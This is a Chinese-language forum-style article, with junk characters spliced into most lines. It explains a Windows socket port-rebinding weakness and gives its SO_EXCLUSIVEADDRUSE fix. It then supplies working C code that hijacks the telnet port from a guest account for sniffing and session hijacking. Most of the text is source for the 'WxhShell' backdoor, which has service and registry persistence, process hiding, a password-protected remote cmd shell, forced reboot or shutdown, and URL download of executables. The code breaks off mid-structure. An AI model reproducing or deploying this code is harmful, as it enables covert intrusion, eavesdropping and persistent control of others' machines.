在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
JHW"-b s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
MV!{j;g1< ,368d9,rDz saddr.sin_family = AF_INET;
fr,7rS/w{l Hh%I0# saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Jx_cf9{ 9lTv
bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
,K>I%_!1 ?42<J%p
其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Q0$8j-1I T`/AY?# 这意味着什么?意味着可以进行如下的攻击:
sI43@[ ,V'o4]H 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
6T>mW#E& he#J|p 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
DDvh4<Hk sJ\BF 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
HPpR. SEORSS 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
S,D8F&bg C#QpQg2 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Pl(Q,e7O] FRcy`) 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Twh!X*uQ @)IjNplYkw 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
r}Ohkr J%8(kWQ| #include
gep;{G} #include
<
|e,05aM #include
~Xr=4V:a+ #include
zFfoqb#*g DWORD WINAPI ClientThread(LPVOID lpParam);
R= a|Blp int main()
liEPCWl& {
&vHoRY WORD wVersionRequested;
w|3z;-#Q; DWORD ret;
kTKq/G,Ft WSADATA wsaData;
01[NX? qEa BOOL val;
:Y-{Kn6`_ SOCKADDR_IN saddr;
}p=Jm)y SOCKADDR_IN scaddr;
,?PTcQF int err;
%el"BSB SOCKET s;
M]<?k]_p SOCKET sc;
U2$d%8G int caddsize;
|\w=u6jX HANDLE mt;
^*S ,xP DWORD tid;
wU8Mt#D! wVersionRequested = MAKEWORD( 2, 2 );
ADZ};:] err = WSAStartup( wVersionRequested, &wsaData );
~a%Z;Aj if ( err != 0 ) {
BNz 5lrfq printf("error!WSAStartup failed!\n");
+nUy,S?43 return -1;
jNe`;o }
_a_7,bk5 saddr.sin_family = AF_INET;
Q*~LCtrI WegtyO //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Z,`iO%W 0fc/wfv< saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
0?sRDYaX;c saddr.sin_port = htons(23);
aHlcfh9| if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
nJbtS#`G4 {
Cv
}Qwy printf("error!socket failed!\n");
d#6`&MR return -1;
AoY-\E }
X7[^s
$VK val = TRUE;
YNYx>Ue //SO_REUSEADDR选项就是可以实现端口重绑定的
pa#d L!J if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
5>VY LI {
"-_fv5jL printf("error!setsockopt failed!\n");
p/(~IC"!J return -1;
()tp> }
u?>B)PW //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
DQMHOd7g //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
cQG
+$0( //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Xm+8 'iy*^A `Y if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Nb?w|Ne(T {
CxGx8*<X ret=GetLastError();
P-`M printf("error!bind failed!\n");
Q=BZ N]g2 return -1;
5?p2%KQ }
m#ZO`W listen(s,2);
U ?'vXa while(1)
y'FS/=u>0 {
$\b$}wy* caddsize = sizeof(scaddr);
~jK{ ,$:= //接受连接请求
t(GR)&>.2 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
.R)PJc5^ if(sc!=INVALID_SOCKET)
x? ?pBhJH {
79nG|Yj|\ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
~UyV< if(mt==NULL)
3:5 &Aa! {
<Gav5Rc printf("Thread Creat Failed!\n");
iY`%SmB break;
(* 1v\Q }
|nbf' }
sBu=e7 CloseHandle(mt);
N+zKr/ }
:q
ti closesocket(s);
Ib|Rf;J~- WSACleanup();
CL)lq)1( return 0;
>:zK?(qu,N }
:}r. DWORD WINAPI ClientThread(LPVOID lpParam)
h tx;8: {
f}Np/ SOCKET ss = (SOCKET)lpParam;
e`d%-9 SOCKET sc;
,REJt unsigned char buf[4096];
$jm>:YD SOCKADDR_IN saddr;
xO1[>W long num;
#Pw2Q DWORD val;
Op"M.]# DWORD ret;
o8zy^zN$6 //如果是隐藏端口应用的话,可以在此处加一些判断
\|]Z8t7 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
uMut=ja(U saddr.sin_family = AF_INET;
~ns7O saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
T(AVlI6 saddr.sin_port = htons(23);
klQC2drS if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
iS&l8@2a {
)>b.; printf("error!socket failed!\n");
?s\
OUr return -1;
3ia^\ jw }
#
S}Z8 val = 100;
[~kdPk if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
48jVRo {
N-jTc?mT~& ret = GetLastError();
"8~:[G# return -1;
Glxuz0] }
=1O<E if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
O$D'.t {
zS\E/.X2 ret = GetLastError();
Rop'e 8Q return -1;
ZIPl7tTw }
_
):d`O e if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
[vMvV4, {
#?*WPq printf("error!socket connect failed!\n");
pAb.c closesocket(sc);
NM]s8cK_ closesocket(ss);
_$wmI/_JM return -1;
IP``O!WP }
(T>nPbv) while(1)
rEHk w
' {
^zE wA //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
F^N82 //如果是嗅探内容的话,可以再此处进行内容分析和记录
fGw^:,B //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
B;R.# ^@/ num = recv(ss,buf,4096,0);
=`*O1a if(num>0)
ZiYm:$CJ send(sc,buf,num,0);
"Vw m else if(num==0)
t<T[h2Wd break;
(
{1e% num = recv(sc,buf,4096,0);
AjJURn0`,! if(num>0)
_<=S_<$2 send(ss,buf,num,0);
"jTKSgv+q5 else if(num==0)
nL$x|}XAcj break;
:ml2.vP }
\Y|~2Ls8tu closesocket(ss);
'eo
KZX+ closesocket(sc);
i<H wTmm$ return 0 ;
K TsgJ\W }
0dA7pY9 Pt@%4 :&-h @HRC\OG ==========================================================
hty0Rb[dH XYS'.6k( 下边附上一个代码,,WXhSHELL
aFe`_cnG `(1K
==========================================================
:C}2= ,*&G1|_6 #include "stdafx.h"
R+nMy=I%8
)LJnLo+ #include <stdio.h>
"t({D #include <string.h>
5DXR8mLoaJ #include <windows.h>
~7$&WzD #include <winsock2.h>
Nc:({@I #include <winsvc.h>
({-GOw46 #include <urlmon.h>
!
iptT(2 %V1Z~HC #pragma comment (lib, "Ws2_32.lib")
yz-,)GB6 #pragma comment (lib, "urlmon.lib")
b
B x? :Xn7Ha[f #define MAX_USER 100 // 最大客户端连接数
!ALKSiSl #define BUF_SOCK 200 // sock buffer
M
t*6}Cl #define KEY_BUFF 255 // 输入 buffer
_*IPk qw7@(R'" #define REBOOT 0 // 重启
DUL4noq{ #define SHUTDOWN 1 // 关机
jn%!AH MZpK~c1` #define DEF_PORT 5000 // 监听端口
aM@z^<Ub lqowG!3H #define REG_LEN 16 // 注册表键长度
K,6b3kk #define SVC_LEN 80 // NT服务名长度
N0K){ uQ=^~K :Z~ // 从dll定义API
)J_\tv typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
ew;ur? typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
]J* ,g, typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
\S*$UE]uG typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
cFN'bftH4 |\dZ' // wxhshell配置信息
4-kZJ\] struct WSCFG {
!IC-)C,q int ws_port; // 监听端口
v?0r`<Mn char ws_passstr[REG_LEN]; // 口令
&-czStQ int ws_autoins; // 安装标记, 1=yes 0=no
[U@*1 char ws_regname[REG_LEN]; // 注册表键名
WYIQE$SEv char ws_svcname[REG_LEN]; // 服务名
sK"9fU char ws_svcdisp[SVC_LEN]; // 服务显示名
Dy]I8_ char ws_svcdesc[SVC_LEN]; // 服务描述信息
>6~k9>nDb< char ws_passmsg[SVC_LEN]; // 密码输入提示信息
<W`#gn0b6 int ws_downexe; // 下载执行标记, 1=yes 0=no
4\pWB90V char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
j
,)P9V char ws_filenam[SVC_LEN]; // 下载后保存的文件名
WpS1a440 (faK+z,*6R };
YXU|h $B#6tk~u // default Wxhshell configuration
b1gaj"] struct WSCFG wscfg={DEF_PORT,
\.f}W_OF "xuhuanlingzhe",
6
4D]Ypx 1,
7_wJpTz "Wxhshell",
{ F'Kk\f%: "Wxhshell",
?\U!huu "WxhShell Service",
Wxkx,q? "Wrsky Windows CmdShell Service",
Nrah;i+H\o "Please Input Your Password: ",
Ku/~N# 1,
~XydQJ^* "
http://www.wrsky.com/wxhshell.exe",
X; 5Jb "Wxhshell.exe"
k-E{d04-2 };
F,GN[f- D?~8za`5 // 消息定义模块
lJzl6& char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
f`8OM}un& char *msg_ws_prompt="\n\r? for help\n\r#>";
Q\Gq|e* char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
9Ew7A(BG_3 char *msg_ws_ext="\n\rExit.";
v[TYc:L= char *msg_ws_end="\n\rQuit.";
!mRx$
%ul char *msg_ws_boot="\n\rReboot...";
>tG+?Y'{ char *msg_ws_poff="\n\rShutdown...";
Y4F6qyP)" char *msg_ws_down="\n\rSave to ";
.6m "'m0; ]WUC:6x char *msg_ws_err="\n\rErr!";
T*I?9d{k char *msg_ws_ok="\n\rOK!";
*9 Q^5;y [EY`am8[ char ExeFile[MAX_PATH];
oyk>vIZ int nUser = 0;
<e)o1+[w HANDLE handles[MAX_USER];
a`E*\O'd int OsIsNt;
_Cy:]2o #5&jt@NS SERVICE_STATUS serviceStatus;
.fzu"XAPu SERVICE_STATUS_HANDLE hServiceStatusHandle;
cBYfXI0` 'r} zY-FM` // 函数声明
3L_I[T$s int Install(void);
?Pwx~[<1"" int Uninstall(void);
LF?P>
1%- int DownloadFile(char *sURL, SOCKET wsh);
?X9]HlH int Boot(int flag);
IN7<@OS7 void HideProc(void);
xU
S]P)R int GetOsVer(void);
(X +s-4% int Wxhshell(SOCKET wsl);
m,> void TalkWithClient(void *cs);
m7=1%6FN3 int CmdShell(SOCKET sock);
#FYAV%pi int StartFromService(void);
L{ho*^b int StartWxhshell(LPSTR lpCmdLine);
j2M+]Zp. 2X88: VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
V (rr"K+ VOID WINAPI NTServiceHandler( DWORD fdwControl );
~u&|G$1!0 I\Glc=T* // 数据结构和表定义
~|Z'l%<Os SERVICE_TABLE_ENTRY DispatchTable[] =
s?3i)Ymr {
!umEyd@ " {wscfg.ws_svcname, NTServiceMain},
G{x[uE2X&f {NULL, NULL}
[9mL $;M
W };
@!Hr|k| gV U1Y6. // 自我安装
`nJu?5 int Install(void)
Y\+KoR'; {
[m'CR 4(| char svExeFile[MAX_PATH];
2.Yi(r HKEY key;
HFo-4" strcpy(svExeFile,ExeFile);
u>.y:> rrs"N3!aT // 如果是win9x系统,修改注册表设为自启动
99OD=pxQ if(!OsIsNt) {
7Bz*r0 9S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
BF8"rq}r0 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
X6RQqen3: RegCloseKey(key);
Uh|>Skic4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Qu%D RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Di Or{)a RegCloseKey(key);
6'OO-o return 0;
XidxNPz0^ }
#T~&]|{, }
F9XT
lA }
!:fv>FEI9 else {
Vf-5&S&9 Omag)U)IPh // 如果是NT以上系统,安装为系统服务
cs_}&!c{ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Zv qn%K], if (schSCManager!=0)
y/_wx(2 {
vt]F U< SC_HANDLE schService = CreateService
oP,9#FC|( (
t7F.[uWD schSCManager,
`_ (~ Ud wscfg.ws_svcname,
> %*B`oqo wscfg.ws_svcdisp,
VY'Q|[ SERVICE_ALL_ACCESS,
; !$m1 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
dEp/dd~(& SERVICE_AUTO_START,
?RD *1 SERVICE_ERROR_NORMAL,
. p^xS6e{ svExeFile,
+=cam/A NULL,
We`'>'W0 NULL,
IS]{}Y\3H NULL,
gbOCR1PBg NULL,
L2-^!' NULL
mog9 jw );
b>cafu if (schService!=0)
~!+h?[miV {
\&A+s4c") CloseServiceHandle(schService);
5)+F( CloseServiceHandle(schSCManager);
0H=9@ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
m/USC'U% strcat(svExeFile,wscfg.ws_svcname);
tLX,+P2| if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
S2=%x. RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
OM96` RegCloseKey(key);
@R:#" return 0;
f\ "`7 }
ZL%VOxYqi }
C?H{CP CloseServiceHandle(schSCManager);
M%=P)cC }
p/|(,)'+jx }
2eok@1 t]m!ee8*X< return 1;
02 f9 w V }
T$b\Q D6=HYqdj // 自我卸载
BpT"~4oV5 int Uninstall(void)
hWGZd~L {
gOE_
] HKEY key;
gM_:l rveVCTbC if(!OsIsNt) {
zS%
m_,t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Fu0.~w RegDeleteValue(key,wscfg.ws_regname);
Xt(!
a RegCloseKey(key);
ySruAkw% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
I}:L]H{E RegDeleteValue(key,wscfg.ws_regname);
V;*pL1 RegCloseKey(key);
3@X7YgILU return 0;
l]vohLz
3! }
fykI,! }
Oje|bxQ }
#)i&DJ^Y else {
aG3k4 5u pShtC SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
4%bTj,H# if (schSCManager!=0)
Hptq,~_t {
>_#)3K1y8 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
g.*&BXZi if (schService!=0)
P06.1 {
(Nt[v;BnO if(DeleteService(schService)!=0) {
mq`5w)S)\o CloseServiceHandle(schService);
T0L+z/N_m. CloseServiceHandle(schSCManager);
A#:8X1w return 0;
8xo;E=` }
$,`VUe{ CloseServiceHandle(schService);
YeIe\3x!N }
]N\6h(**wy CloseServiceHandle(schSCManager);
Qg>L,ZO }
cHn;}l!I }
Rrz'(KSDw U+!UL5k return 1;
U2&HSE|2J }
UT-ewXh pYGYy'%A' // 从指定url下载文件
~j}J<4&OvC int DownloadFile(char *sURL, SOCKET wsh)
8dV=1O$/ {
GEi
MmH? HRESULT hr;
}B*,mn2N char seps[]= "/";
9L=;KtE1 char *token;
|M _%QM. char *file;
)=(n/vckM char myURL[MAX_PATH];
z[FI2jl char myFILE[MAX_PATH];
Q2R-z^pd T+BIy|O strcpy(myURL,sURL);
:xN8R^( token=strtok(myURL,seps);
;Bnr='[ while(token!=NULL)
x?>!UqgkY {
Rf8:+d[Jj| file=token;
o~}1oN token=strtok(NULL,seps);
yr{5Rp05= }
RR'(9QJ$ bQ=s8' GetCurrentDirectory(MAX_PATH,myFILE);
0Ts!(b]B strcat(myFILE, "\\");
s9:%s*$u strcat(myFILE, file);
l)iv\j send(wsh,myFILE,strlen(myFILE),0);
^OjvL6A/p send(wsh,"...",3,0);
<dJIq"){ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
MyM+C} if(hr==S_OK)
7n<#y;wo return 0;
}RDb1~6C else
Z3I L8 return 1;
xK=J.>h3 IPkA7VhFF }
FB.!`%{ S^)WYF5 // 系统电源模块
yj]ML:n int Boot(int flag)
|#:=\gugh {
w1.MhA HANDLE hToken;
w2KWa-BO TOKEN_PRIVILEGES tkp;
:MdEr//w XzlIW&"uC if(OsIsNt) {
^h"n03VFA OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
1uY3[Z9S LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
3P3:F2S R tkp.PrivilegeCount = 1;
`L+~&M tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
a]{uZGn@i AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
\/X{n*Hw? if(flag==REBOOT) {
1wU=WE(kKZ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
f^ywW[dF return 0;
/H.(d 4C }
}Olr else {
Qlf
9]ug) if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
SAQs{M return 0;
B>ge,
}{ }
'[n)N@h }
}^IwQm*i else {
f>?^uSpWH if(flag==REBOOT) {
4*YOFU}l if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
L;4[ k;5 return 0;
@\S]]oLn }
@yCW8] else {
P7cge if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
%
i%ew4 return 0;
A4}JZi6@ }
IsWcz+1n }
^#}dPGm [U%.Gi return 1;
ef^Cc)S-Q }
<8g *O2 \}U[}5Pk& // win9x进程隐藏模块
wK2yt? void HideProc(void)
b1eK(F {
^!$}
BY B-B?Ff> HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
,*q#qW!! if ( hKernel != NULL )
g&|4 {
0>I]=M]@ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
9*7Hoi4Ji ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
[0d-CEp[ FreeLibrary(hKernel);
H-;&xzAI }
rsd2v9 ev)rOcOU return;
(ra:?B }
3"HGEUqA D)f5pEq' // 获取操作系统版本
MT;SRAmUr int GetOsVer(void)
6#OL
;Y]_ {
bnAT,v{ OSVERSIONINFO winfo;
YJ&lB&xH winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
2]?w~qjWm GetVersionEx(&winfo);
uWJ#+XK. if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
./7&_9|< return 1;
L$oia)%t- else
;,Of\Efc| return 0;
5HWwl.D }
^zBjG/'7 iSSc5ek4 // 客户端句柄模块
e{^:/WcYB int Wxhshell(SOCKET wsl)
stf,<W {
+a7EsR SOCKET wsh;
U:s}/to struct sockaddr_in client;
D[?k ,* DWORD myID;
<^H1)=tlF Bf D,z while(nUser<MAX_USER)
\O8Y3|< {
m1~qaD<DZ$ int nSize=sizeof(client);
fW_}!`: wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
d~togTs1 if(wsh==INVALID_SOCKET) return 1;
yYxeNE" 5`1(} handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
*/0vJz%<.M if(handles[nUser]==0)
+YGw4{\EL closesocket(wsh);
_A@fP[C else
zhVa.r A nUser++;
Ov0O#` }
: ;E7+m WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
3i@ "D PfwI@%2 return 0;
$V`KrA~] }
W+F<P@[u<$ m &0(% // 关闭 socket
8`L#1ybMO void CloseIt(SOCKET wsh)
)OW(T^>_'I {
C8bGae( closesocket(wsh);
u7<qaOzs? nUser--;
Sleu#]- ExitThread(0);
iylBK!ou }
cJ7{4YK_#/ UX-_{I
QW // 客户端请求句柄
VuX> void TalkWithClient(void *cs)
pJ2:` f<; {
Z1)jRE2dl cuV8#:
i SOCKET wsh=(SOCKET)cs;
F#!@}K8 char pwd[SVC_LEN];
=|qt!gY)Y char cmd[KEY_BUFF];
]Omb : char chr[1];
okK/i int i,j;
rm5T=fNJ 2yEO=SN,( while (nUser < MAX_USER) {
Vid{6?7kh tdw\Di#m if(wscfg.ws_passstr) {
Gh)sw72 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
A}t&- //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
.b_0k<M!p //ZeroMemory(pwd,KEY_BUFF);
]<\;d
B i=0;
Q+u#?[' while(i<SVC_LEN) {
k *G!. ]2aYi9) // 设置超时
ZuFVtW@ fd_set FdRead;
g "K#& struct timeval TimeOut;
#Vn>ue+? FD_ZERO(&FdRead);
Kc2OLz# FD_SET(wsh,&FdRead);
QKUBh-QFK TimeOut.tv_sec=8;
6h0U TimeOut.tv_usec=0;
ABq {<2iYN int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
T/WmS? if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
<y\
Z#z Y?&DEKFbD if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
sw=JUfAhy pwd
=chr[0]; P- `~]]
if(chr[0]==0xd || chr[0]==0xa) { d0H
pwd=0; Z3abem<Q
break; p^4;fD
} @qO8Jg"Q
i++; #pDGaqeX
} n}9Msen
gvTOCF
// 如果是非法用户,关闭 socket iX>!ju'V
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kYI(<oTY~
} O%fp;Y{`
|$SvD2^
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8}pcanPg
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?5r2j3mqgv
9pl_V
WrQ
while(1) { Ddm76LS
~f]r>jQM
ZeroMemory(cmd,KEY_BUFF); syC"eH3{
2l[A=Z
// 自动支持客户端 telnet标准 iw~V_y4
j=0; VM2@{V/=~
while(j<KEY_BUFF) { VhH]n yi7D
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aaf_3UH.B
cmd[j]=chr[0]; $cJN9|$6
if(chr[0]==0xa || chr[0]==0xd) { ;Xd\$)n
cmd[j]=0; ^pQo `T6
break; k+q6U[ce
} M::IE|h
j++; C)KtM YA,
} XoxR5arj
e`Zg7CaDd
// 下载文件 PgG |7='
if(strstr(cmd,"http://")) { c~L6fvS
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~&[P`
Z$
if(DownloadFile(cmd,wsh)) n?P 5pJ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $?/Xk%d+
else @)2V"FE4i
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uuUVE/^V'
} $R$c1C'oX
else { CI,`R&=xO
evmEX <N
switch(cmd[0]) { 1$!RKqT
.e
_D3Xp<
// 帮助 4QKE{0NE
case '?': { [P&,}o)+E0
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~4 ~Tcn
break; \'LC C-
} 4 _U,-%/
// 安装 @Y&9S)xcE
case 'i': { H;t8(-F@'
if(Install()) 't]EkH]BC
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g7 U:A0Z
else !NAX6m
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7f\^VG
break; zloaU
} SJ[@fUxO)
// 卸载 \(>$mtS:
case 'r': { Kf?{GNE7
if(Uninstall()) b%!`fn-;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6P*)rye
else +|"n4iZ!)
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^<
/vbF
break; >KClH'R2
} ^n45N&916
// 显示 wxhshell 所在路径 ?n9$,-^v
case 'p': { ;~Gpw/]5E
char svExeFile[MAX_PATH]; CU>K
strcpy(svExeFile,"\n\r"); U)w|GrxX
strcat(svExeFile,ExeFile); 5G] #yb74
send(wsh,svExeFile,strlen(svExeFile),0); t`1]U4s&I
break; K7O?{/
} hL{B9?
// 重启 vK.4JOlRF
case 'b': {
[aS)<^
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); U)/Ul>dY
if(Boot(REBOOT)) rDx],O _
send(wsh,msg_ws_err,strlen(msg_ws_err),0); wIR[2&b
else { 13&>w{S}
closesocket(wsh); K<L%@[gi
ExitThread(0); zkMO3w>
} qp_ `Fj:
break; /GSI.tO
} JdYF&~
// 关机 PKM$*_LcGI
case 'd': { pnA]@FW
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5Kw?SRFH/
if(Boot(SHUTDOWN)) OO
wA{]gK
send(wsh,msg_ws_err,strlen(msg_ws_err),0); m',_kY3
else { '=b&)HbeK
closesocket(wsh); -0r"#48(%
ExitThread(0); p vR& ~g
} 4e#K.HU_
break; rU^ghF
} cf!k
9x9Z
// 获取shell Cm}UWX
case 's': { &CmkNm_B
CmdShell(wsh); 3N%Evo
closesocket(wsh); 6dy4{i
ExitThread(0); )B&<Bk+
break; ~\}EROb<
} Q
fyERa\rb
// 退出 ~m|?! ]n
case 'x': { 0?Wf\7
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); QRHm|f9_C
CloseIt(wsh); 2[YD&
break; taEMr> /
} y{?jr$js<
// 离开 FuiW\=^
case 'q': { {uM{5GSL
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;_\
closesocket(wsh); pbvEIa-Y4
WSACleanup(); 5)v^
cR?&
exit(1); gwz _b
break; udy;Odt
} h%^kA@3F
} Lpbn@y26<
} RMt vEa
_vLT!y
// 提示信息 WI!z92qq[
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [k=9 +0p
} }Z?[Ut
} (l_de)N7
t RyGxqiG
return; 6Vzc:8o>
} 2,Dc]oj
/"{ ,m!
// shell模块句柄 EF=D}"E6pO
int CmdShell(SOCKET sock) :RO:k|g
{ ![!b^:f
STARTUPINFO si; q.QYn.CBZz
ZeroMemory(&si,sizeof(si)); v
4b`19}
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZWW8Hr
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X/7_mU>aKT
PROCESS_INFORMATION ProcessInfo; wP1VQUL
char cmdline[]="cmd"; ^k<$N
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); RWQW/Gwx
return 0; :tG".z
} K y2xWd8
wXGFq3`
// 自身启动模式 |M>k &p,B-
int StartFromService(void) 4H?Ma|,
{ CPeK0(7Zh
typedef struct I3$vw7}5Y
{ c] R![sa
DWORD ExitStatus; 3&Rqz9 W
DWORD PebBaseAddress; RX\O'Zwl j
DWORD AffinityMask; @N{Ht)1r
